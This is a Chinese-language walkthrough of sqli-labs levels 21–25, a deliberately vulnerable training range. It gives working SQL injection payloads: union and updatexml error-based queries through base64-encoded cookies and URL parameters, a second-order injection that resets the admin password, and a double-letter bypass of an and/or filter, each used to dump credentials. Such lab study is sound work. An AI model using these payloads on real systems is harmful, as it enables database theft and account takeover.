sql-labs靶场21-25关

二十一:less=21

1.实际上本关和20关是一样的，只是需要进行base64编码，老规矩，使用dakkan，1进行登录并且使用burpsuit进行抓包并且把包放入重放器里面。

2.同时，在源码中我们也可以看到，它其实输出了查询之后的信息，所以这里我们自然可以想到使用联合查询注入，以及在输出报错信息时，我们也可以使用报错注入，布尔以及时间盲注自然也可以。这里我们进行修改，由于本关闭合方式是’)进行闭合，所以这里我们准备传入aaa')来进行测试，首先我们需要对aaa')进行编码。

选择base64进行编译

这里可以看到有个明显的报错，我们也就找到了注入点，即cookie，所以这里我们也可以使用报错注入其实，我们先来看联合查询。

3.爆破数据库名称

aaa') union select 1,database(),version()#

4.爆出数据库表名

aaa') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'#

5.爆出user表的列名

aaa') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'#

6.爆出数据

aaa') union select 1,group_concat(username,0x3a,password),3 from users#

二十二.less=22

1.老规矩，使用admin，admin进行登录，并使用burpsuit进行抓包并且放入重放器里。

这里我们进行修改，由于本关闭合方式是"进行闭合，所以这里我们准备传入1"来进行测试，首先我们需要对1"进行编码，复制到cookie里面进行测试，点击发送观察回显。

这里可以看到有个明显的报错，我们也就找到了注入点，即cookie.

2.爆出数据库名称

aaa" union select 1,database(),version()#

3.爆出数据库的所有表名。

aaa" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'#

4.爆出user表的列名

aaa" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'#

5.爆出数据

aaa" union select 1,group_concat(username,0x3a,password),3 from users#

二十三.less=23

1.我们先使用id=1进行测试

考虑联合注入，在输入单引号试试

也得考虑报错注入，我们还可以考虑用闭合的方式进行注入。

2.使用updatexml进行报错注入。

获取数据库名称

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1' = '1

3.获取数据库的表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1' = '1

4.查询user表中的列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1' = '1

5.获取数据

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1) and '1' = '1

二十四.less=24

1.经过测试我们发现是二次注入，二次注入就是构造SQL语句插入到数据库中，然后数据库报错信息被其他SQL语句调用时触发攻击行为。

下面是更新密码的核心语句

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里应该是存在注入点的，我们把username换成admin’#，那么语句如下

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

 

2.注册一个admin‘#qxl的账号试试看

3.可以看到显示页面跳转

4.在数据库中进行查询

5.使用admin‘#qxl进行登录会弹出以下页面

6.我们找到这个界面，下面我们输入正确的密码admin，然后更改为123456，再次输出123456，点击reset。

7,可以看到密码已经被修改。

二十五.less=25

1.我们看到不能使用and和or，老规矩我们先使用id=1进行测试

接下来我们使用id=1’进行尝试

也可以考虑报错注入

2.使用联合注入进行查询爆破数据库名

?id=-1' union select 1,database(),version()--+

3.爆破数据库表名

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

我们可以看到中间or被注释，我们采用双写嵌套

?id=-1'union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security'--+

4.user表的列名

?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="users"--+ 

5.获取数据

?id=-1' union select 1,(select group_concat(username,passwoorrd) from users) ,3--+